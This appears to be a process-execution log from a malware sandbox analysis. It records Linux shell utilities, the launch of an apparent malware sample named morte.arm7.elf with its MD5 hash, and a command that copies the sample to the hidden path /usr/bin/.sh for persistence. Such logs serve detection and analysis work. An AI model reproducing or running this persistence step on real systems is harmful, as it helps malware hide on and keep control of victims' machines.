                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/cat
                                                                                                                          Arguments:cat /tmp/tmp.CIw4YOWu6Q
                                                                                                                          File size:43416 bytes
                                                                                                                          MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/head
                                                                                                                          Arguments:head -n 10
                                                                                                                          File size:47480 bytes
                                                                                                                          MD5 hash:fd96a67145172477dd57131396fc9608

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/tr
                                                                                                                          Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                                                                                          File size:51544 bytes
                                                                                                                          MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/cut
                                                                                                                          Arguments:cut -c -80
                                                                                                                          File size:47480 bytes
                                                                                                                          MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/cat
                                                                                                                          Arguments:cat /tmp/tmp.CIw4YOWu6Q
                                                                                                                          File size:43416 bytes
                                                                                                                          MD5 hash:7e9d213e404ad3bb82e4ebb2e1f2c1b3

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/head
                                                                                                                          Arguments:head -n 10
                                                                                                                          File size:47480 bytes
                                                                                                                          MD5 hash:fd96a67145172477dd57131396fc9608

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/tr
                                                                                                                          Arguments:tr -d \\000-\\011\\013\\014\\016-\\037
                                                                                                                          File size:51544 bytes
                                                                                                                          MD5 hash:fbd1402dd9f72d8ebfff00ce7c3a7bb5

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/cut
                                                                                                                          Arguments:cut -c -80
                                                                                                                          File size:47480 bytes
                                                                                                                          MD5 hash:d8ed0ea8f22c0de0f8692d4d9f1759d3

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/dash
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:53
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/rm
                                                                                                                          Arguments:rm -f /tmp/tmp.CIw4YOWu6Q /tmp/tmp.tSe1PMu2if /tmp/tmp.cmLCWddT0v
                                                                                                                          File size:72056 bytes
                                                                                                                          MD5 hash:aa2b5496fdbfd88e38791ab81f90b95b

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:/tmp/morte.arm7.elf
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/bin/sh
                                                                                                                          Arguments:/bin/sh -c "cp /tmp/morte.arm7.elf /usr/bin/.sh"
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/bin/sh
                                                                                                                          Arguments:-
                                                                                                                          File size:129816 bytes
                                                                                                                          MD5 hash:1e6b1c887c59a315edb7eb9a315fc84c

                                                                                                                          Start time (UTC):06:05:56
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/cp
                                                                                                                          Arguments:cp /tmp/morte.arm7.elf /usr/bin/.sh
                                                                                                                          File size:153976 bytes
                                                                                                                          MD5 hash:40f10ae7ea3e44218d1a8c306f79c83f

                                                                                                                          Start time (UTC):06:05:57
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:57
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:05:57
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/tmp/morte.arm7.elf
                                                                                                                          Arguments:-
                                                                                                                          File size:4956856 bytes
                                                                                                                          MD5 hash:5ebfcae4fe2471fcc5695c2394773ff1

                                                                                                                          Start time (UTC):06:06:02
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/libexec/gvfsd-fuse
                                                                                                                          Arguments:-
                                                                                                                          File size:47632 bytes
                                                                                                                          MD5 hash:d18fbf1cbf8eb57b17fac48b7b4be933

                                                                                                                          Start time (UTC):06:06:02
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/bin/fusermount
                                                                                                                          Arguments:fusermount -u -q -z -- /run/user/1000/gvfs
                                                                                                                          File size:39144 bytes
                                                                                                                          MD5 hash:576a1b135c82bdcbc97a91acea900566

                                                                                                                          Start time (UTC):06:06:02
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/python3.8
                                                                                                                          Arguments:-
                                                                                                                          File size:5490352 bytes
                                                                                                                          MD5 hash:69f442c3e33b5f9a66b722c29ad89435

                                                                                                                          Start time (UTC):06:06:02
                                                                                                                          Start date (UTC):06/07/2025
                                                                                                                          Path:/usr/bin/gdbus
                                                                                                                          Arguments:/usr/bin/gdbus call -e -d org.gnome.SessionManager -o /org/gnome/SessionManager -m org.gnome.SessionManager.IsSessionRunning
                                                                                                                          File size:51592 bytes
                                                                                                                          MD5 hash:1deb65de9f7f468799d3bfde20118a9b